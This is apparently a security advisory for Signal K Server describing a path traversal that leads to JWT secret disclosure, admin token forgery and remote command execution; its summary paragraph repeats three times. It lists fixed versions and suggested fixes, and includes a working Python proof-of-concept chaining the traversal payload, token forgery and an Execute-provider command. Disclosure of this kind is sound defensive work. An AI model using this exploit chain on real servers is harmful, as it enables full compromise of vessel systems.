signalk-server · remote code execution

Signal K Server is a server application that runs on a central hub in a boat. From 2.0.0 until 2.34.0 for Signal K Server and from 1.0.0 until 1.5.3 for @signalk/resources-provider, the v2 REST route GET /signalk/v2/api/resources/:resourceType/:resourceId accepts an unsafe resourceId that can escape the intended resource directory. The route passes the attacker-controlled resourceId through src/api/resources/index.ts to FileStore.getResource() in packages/resources-provider-plugin/src/filestorage.ts without adequate path containment, allowing arbitrary JSON files reachable by the server to be read. Related PUT and DELETE resource operations can write or delete files outside the storage root. Deployments with allow_readonly enabled permit anonymous reads, while other deployments require a readonly user token. Reading security.json exposes the HS256 JWT signing secret and password hashes, allowing an attacker to forge an administrator token. Administrative access to POST /skServer/providers can then create an Execute provider that runs commands with the server process privileges and persists its configuration across restarts. This issue is fixed in Signal K Server 2.34.0 and @signalk/resources-provider 1.5.3.

Signal K Server is a server application that runs on a central hub in a boat. From 2.0.0 until 2.34.0 for Signal K Server and from 1.0.0 until 1.5.3 for @signalk/resources-provider, the v2 REST route GET /signalk/v2/api/resources/:resourceType/:resourceId accepts an unsafe resourceId that can escape the intended resource directory. The route passes the attacker-controlled resourceId through src/api/resources/index.ts to FileStore.getResource() in packages/resources-provider-plugin/src/filestorage.ts without adequate path containment, allowing arbitrary JSON files reachable by the server to be read. Related PUT and DELETE resource operations can write or delete files outside the storage root. Deployments with allow_readonly enabled permit anonymous reads, while other deployments require a readonly user token. Reading security.json exposes the HS256 JWT signing secret and password hashes, allowing an attacker to forge an administrator token. Administrative access to POST /skServer/providers can then create an Execute provider that runs commands with the server process privileges and persists its configuration across restarts. This issue is fixed in Signal K Server 2.34.0 and @signalk/resources-provider 1.5.3.

Signal K Server is a server application that runs on a central hub in a boat. From 2.0.0 until 2.34.0 for Signal K Server and from 1.0.0 until 1.5.3 for @signalk/resources-provider, the v2 REST route GET /signalk/v2/api/resources/:resourceType/:resourceId accepts an unsafe resourceId that can escape the intended resource directory. The route passes the attacker-controlled resourceId through src/api/resources/index.ts to FileStore.getResource() in packages/resources-provider-plugin/src/filestorage.ts without adequate path containment, allowing arbitrary JSON files reachable by the server to be read. Related PUT and DELETE resource operations can write or delete files outside the storage root. Deployments with allow_readonly enabled permit anonymous reads, while other deployments require a readonly user token. Reading security.json exposes the HS256 JWT signing secret and password hashes, allowing an attacker to forge an administrator token. Administrative access to POST /skServer/providers can then create an Execute provider that runs commands with the server process privileges and persists its configuration across restarts. This issue is fixed in Signal K Server 2.34.0 and @signalk/resources-provider 1.5.3.

### Summary Path traversal in the Signal K resources and applicationData APIs lets an unauthenticated or low-privileged user read, write and delete files outside the storage root. Reading <config>/security.json discloses the JWT signing secret, enabling admin token forgery and remote code execution. ### Details ## Description The v2 REST resources API `GET /signalk/v2/api/resources/:resourceType/:resourceId` passes `resourceId` to `FileStore.getResource()` without validation. `getResource()` builds the file path with `path.join(this.resources[type].path, itemUuid)` followed by `readFile` + `JSON.parse`, so a `%2F`-encoded multi-level traversal (`..%2F..%2F..%2F..%2F`) escapes the resource storage directory and returns any JSON file on the server (source: `src/api/resources/index.ts:559-600`, `packages/resources-provider-plugin/src/filestorage.ts:115-125`). Because the JWT signing secret is stored in plaintext in `<config>/security.json` (generated at `src/tokensecurity.ts:271`, persisted via `saveSecurityConfig` at `src/security.ts:377`), an unauthenticated attacker on deployments with `allow_readonly=true` (a supported, UI-toggleable configuration granting anonymous read access) can: 1. **Read `<config>/security.json`** — disclosing the JWT signing secret (512-hex) and user password hashes. 2. **Forge an admin JWT** — HS256-sign `{"id":"admin"}` with the disclosed secret; accepted by `/skServer/loginStatus` (`userLevel: "admin"`) and all admin-protected endpoints (`adminAuthenticationMiddleware`, `src/tokensecurity.ts:593`, applied at `src/tokensecurity.ts:953`). 3. **Gain remote code execution** — `POST /skServer/providers` (admin) accepts a provider of type `Execute`; `packages/streams/src/execute.ts:93` executes it via `spawn('sh', ['-c', command])` at creation time. The provider persists to `settings.json` and survives restarts. On default deployments (`allow_readonly=false`), step 1 returns 401 to anonymous users but succeeds with any readonly user token. ## Suggested fixes 1. Validate `resourceId` against a strict whitelist (for example, UUID format) in `src/api/resources/index.ts` before any storage call, including PUT/DELETE. 2. In `FileStore.getResource/setResource/deleteResource`, canonicalise with `path.resolve()` and reject results outside `this.resources[type].path`. 3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600. 4. Consider gating provider types that execute commands (`Execute`) behind an explicit opt-in. ### Proof of concept Fully local testbed. Start the server, enable `allow_readonly=true`, then run: ```python #!/usr/bin/env python3 import base64, hashlib, hmac, json, time, urllib.request BASE = "http://127.0.0.1:3000" CMD = "id > /tmp/sk-pwned" # 1) unauthenticated traversal read of security.json p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json" sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"] # 2) forge admin JWT b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode() h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode()) c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode()) tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest()) req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok}) assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin" # 3) add an Execute provider -> spawn('sh','-c',CMD) prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute", "options":{"type":"ws","dataType":"SignalK","command":CMD}} req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(), headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST") print(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists ``` Reproduction verified independently on master `340d5bb6` (Node 22 / macOS), including restart persistence. PoC artifacts are available on request. ### Impact Unauthenticated access (with `allow_readonly=true`) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix